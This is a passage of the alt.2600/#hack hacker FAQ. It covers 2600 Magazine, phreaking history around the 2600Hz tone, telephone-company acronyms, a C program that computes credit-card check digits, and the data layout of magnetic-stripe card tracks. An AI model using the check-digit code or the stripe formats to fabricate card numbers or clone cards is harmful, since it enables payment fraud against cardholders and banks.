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You can get your own free copy of any or all of the books in by writing or calling:

INFOSEC Awareness
ATTN: V/NISC
National Security Agency
9800 Savage Road
Fort Meade, MD 20755-6755

NSA/ISSO Service Center (NISC)


1-800-688-6115 ext 0
(410)854-7661

You may request the books in print or you may request a CD-ROM that contains most of the
books.

You can also get most of the Rainbow books in electronic form at http://www.radium.ncsc.mil
/tpep/library/rainbow/index.html

If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out.

Section I -- 2600

I-01. What is alt.2600?

alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the
hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the
group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to alt.2600, an
alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are
advised to hie over to rec.games.video.classic.

I-02. What does "2600" mean?

2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some
currently. If the tone was sent down the line at the proper time, one could get away with all
sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600
hertz tone. The 2600 hertz tone was simply the first step towards exploring the
network. If you were successful at getting a toll call to drop, then billing would
stop at that point but there would be billing for the number already dialed up
until the point of seizure. 800 numbers and long distance information were both
free in the past and records of who called what were either non-existent or very
obscure with regards to these numbers. This, naturally, made them more popular
than numbers that showed up on a bill, even if it was only for a minute. Today,
many 800 numbers go overseas, which provides a quick and free way into
another country's phone system

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which may be more open for exploration."

I-03. Are there on-line versions of 2600 available?

No.

I-04. I can't find 2600 at any bookstores. What can I do?

Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the
bookstore. Be sure to include the bookstores name and address.

I-05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

We've been selling 2600 at the same newsstand price ($4) since 1988 and we
hope to keep it at that price for as long as we can get away with it. At the same
time, $21 is about the right price to cover subscriber costs, including postage
and record keeping, etc. People who subscribe don't have to worry about finding
an issue someplace, they tend to get issues several weeks before the newsstands
get them, and they can take out free ads in the 2600 Marketplace.

This is not uncommon in the publishing industry. The NY Times, for example,
costs $156.50 at the newsstands, and $234.75 delivered to your door.

Editors Note: The newstand price is now $4.50.

Section J -- Miscellaneous

J-01. What does XXX stand for?

TLA Three Letter Acronym


ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base

ALRU Automatic Line Record Update


AN Associated Number

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ARSB Automated Repair Service Bureau


ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DID Direct Inbound Dialing
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
PBX Private Branch Exchange
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom


HFC Hell Fire Club
TNO The New Order

J-02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to
catch data entry errors, but it does double duty here as a weak security tool.

For a card with an even number of digits, double every odd numbered digit (1st digit, 3rd digit,
5th digit, etc...) and subtract 9 if the product is greater than 9. Add up all the even digits (2nd
digit, 4th digit, 6th digit, etc...) as well as the doubled-odd digits, and the result must be a
multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same
addition doubling the even numbered digits instead.

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This program, presented in C source code form, will perform this math for you. Feed it all but
the last digit of your credit card number, and it will give you the last digit. If it gives you a last
digit different from the one you have, you have an invalid credit card number.

#include <stdio.h>

/*
* Return last digit of a bank card (e.g. credit card)
* Receives all the digits, but the last one as input
* By Diomidis Spinellis <dds@doc.ic.ac.uk>
*/
int bank (u)
char *u;
{
register i, s = 0;
int l, t;

l = strlen(u);
for(i = 0; i < l ; i++)
{
t = (u[l - i - 1] - '0') * (1 + ((i + 1) % 2));
s += t < 10 ? t : t - 9;
}
return 10 - s % 10;
}

void main (argc, argv)

int argc;
char **argv;
{
while (--argc)
printf ("%d\n", bank (*++argv));
}

J-03. What is the layout of data on magnetic stripe cards?

This FAQ answer was written largely with information supplied by wea$el:

Data is laid out on a standard magnetic car in three tracks. A card may have any of these
tracks, or a combination of these tracks.

Track 1 was the first track standardized. It was developed by the International Air
Transportation Association (IATA) and is still reserved for their use. It is 210bpi with room for
79 7-bit characters.

Track 1 is encoded with a 7-bit scheme (6 data bits plus one parity bit) that's based on ASCII.
If your reader does not perform the ASCII conversion, all you have to do is add 0x20 to each
byte to turn it into ASCII (there are no "control" characters). The seventh bit is an odd parity
bit at the end of each byte.

Track 1 Fields
Start sentinel 1 byte (the % character)

1 byte alpha (The standard for financial institutions


Format code
specifies format code is "B")
Up to 19 characters. American Express inserts space
Primary Account number characters in here in the same places the digits are
broken up on the face of your card.

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Separator 1 byte (the ^ character)


3 bytes, if used. (The United States is 840) This
Country code
is only used if the account number begins with "59."
Surname
Surname separator (the / character)
First name or initial
Space (when followed by more data)
Middle name or initial
Period (when followed by a title)
Title (when used)
Separator 1 byte (^)
4 bytes (YYMM) or the one byte separator if a non-expiring
Expiration date or separator
card.
Discretionary
Optional data can be encoded here by the issuer.
data
End Sentinel 1 byte (the ? character)
1 byte. The LRC is made up of parity bits for each
"row" of bytes, making the total even. That means
that the total of all the bit 1s of each byte has
Longitudinal Redundancy to come out to an even number. Same for bit 2,
Check (LRC) etc. The LRC's parity bit is not the sum of the
parity bits of the message, but only the parity bit
for the LRC character itself. (It's odd, just like
any other single byte's parity bit.)

Track 2 was developed by the American Bankers Association (ABA) for on-line financial
transactions. It is 75bpi with room for 40 5-bit numeric characters.

Track 2 is encoded with a 5-bit scheme (4 data bits plus one parity bit.) To convert this data
into ASCII, add 0x30 to each byte.

Track 2 Fields

Start sentinel 1 byte (0x0B, or a ; in ASCII)

Primary Account Number Up to 19 bytes


Separator 1 byte (0x0D, or an = in ASCII)
3 bytes, if used. (The United States is 840) This
Country code
is only used if the account number begins with "59."
4 bytes (YYMM) or the one byte separator if a
Expiration date or separator
non-expiring card
Discretionary data Optional data can be encoded here by the issuer.
End Sentinel 1 byte (0x0F, or a ? in ASCII)

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Longitudinal Redundancy Check


1 byte.
(LRC)

Track 3 is also used for financial transactions. The difference is its read/write ability. It is
210bpi with room for 107 numeric digits. Track 3 is used to store the enciphered PIN, country
code, currency units, amount authorized, subsidiary account information, and other account
restrictions.

Track 3 has the same properties as track 1 (start and end sentinels and an LRC byte), except
that there is no standard for the data content or format. Track 3 is not currently used by any
national bank card issuer.

In those rare systems where the PIN is stored on the card, this is the track where it is stored.

For more information of this topic, read the ANSI/ISO 7811/1-5 standard. This document is
available from the American Bankers Association.

Other standards documents covering related topics include:

ANSI X3.92 Data Encryption Algorithm (DEA)


ANSI X3.106 Modems of DEA Operation
ANSI X4.16 American National Standard for financial services, financial
transaction cards, magnetic stripe encoding
ANSI X9.8 Personal Identification Number (PIN) Management and Security
ANSI X9.19 Financial Institution Retail Message Authentication (MAC)
ISO 7810
ISO 7811
ISO 7812
ISO 8583 Bank card originated messages; Interchange message specifications;
Content for financial transactions.
ISO 8731-1 Banking: Approved algorithms for message authentication
Part 1 - DEA
Part 2 - Message Authentication algorithms
ISO 7816 Identification cards, Integrated circuit(s) with contacts
Part 1 - Physical Characteristics
Part 2 - Dimensions and locations of the contacts
Part 3 - Electronic signals and transmission protocols

J-04. What are the ethics of hacking?

An excerpt from Hackers: Heroes of the Computer Revolution by Steven Levy

Access to computers -- and anything which might teach you something about the
way the world works -- should be unlimited and total. Always yield to the
Hands-On imperative.

All information should be free.

Mistrust Authority. Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria such as degrees,
age, race, or position.

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You can create art and beauty on a computer.

Computers can change your life for the better.

J-05. Why did you write this FAQ?

Hacking is an interest of mine. Years ago, I would often communicate on IRC with other
people who were also interested in hacking and we would discuss the topics covered in this
FAQ.

Over time, I grew tired of having the same discussions again and again. I wrote down these
questions and answers with the hope that I would never again have to explain the basics of
hacking and that our conversation would move on to more advanced and interesting topics.

In the beginning, this was the #hack FAQ. Later, Tomes suggested that we adopt it as the
alt.2600 FAQ also.

I have enjoyed writing this FAQ, and I hope you enjoy it also.

J-06. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on the World Wide Web at http://www.hackfaq.org

EOT

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